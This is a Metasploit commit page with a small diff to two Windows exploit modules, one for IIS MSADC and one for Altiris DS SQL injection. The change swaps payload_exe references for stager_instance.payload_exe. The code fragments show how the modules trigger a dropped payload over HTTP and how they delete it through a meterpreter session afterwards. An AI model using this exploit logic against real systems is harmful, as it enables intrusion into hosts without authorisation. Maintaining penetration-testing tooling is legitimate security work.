Skip to content

Commit 488f46c

Browse files
author
Tod Beardsley
committed
Land rapid7#4324, payload_exe rightening.
Fixes rapid7#4323, but /not/ rapid7#4246.
2 parents 9545b6e + 7ae786a commit 488f46c

File tree

2 files changed

+5
-5
lines changed

2 files changed

+5
-5
lines changed

modules/exploits/windows/iis/msadc.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -332,12 +332,12 @@ def exploit
332332

333333
# Save these file names for later deletion
334334
@exe_cmd_copy = exe_fname
335-
@exe_payload = payload_exe
335+
@exe_payload = stager_instance.payload_exe # Grab this info from CmdStagerTFTP
336336

337337
# Just for good measure, we'll make a quick, direct request for the payload
338338
# Using the "start" method doesn't seem to make iis very happy :(
339339
print_status("Triggering the payload via a direct request...")
340-
res = send_request_raw({ 'uri' => '/scripts/' + payload_exe, 'method' => 'GET' }, 1)
340+
res = send_request_raw({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1)
341341
end
342342

343343
handler

modules/exploits/windows/misc/altiris_ds_sqli.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -163,7 +163,7 @@ def exploit
163163
end
164164

165165
def on_new_session(client)
166-
return if not payload_exe
166+
return if not stager_instance.payload_exe
167167

168168
#can't scrub dropped payload while the process is still active so...
169169
#iterate through process list, find our process and the associated
@@ -174,7 +174,7 @@ def on_new_session(client)
174174
#SeeRM#8365 https://http://dev.metasploit.com/redmine/issues/8365
175175

176176
unless client.type == "meterpreter"
177-
print_error("Automatic cleanup only available with meterpreter, please delete #{payload_exe} manually")
177+
print_error("Automatic cleanup only available with meterpreter, please delete #{stager_instance.payload_exe} manually")
178178
return
179179
end
180180

@@ -191,7 +191,7 @@ def on_new_session(client)
191191
end
192192

193193
win_temp = client.sys.config.getenv('TEMP')
194-
win_file = "#{win_temp}\\#{payload_exe}"
194+
win_file = "#{win_temp}\\#{stager_instance.payload_exe}"
195195
print_status("Attempting to delete #{win_file} ...")
196196
client.shell_command_token(%Q|attrib.exe -r #{win_file}|)
197197
client.fs.file.rm(win_file)

0 commit comments

Comments
 (0)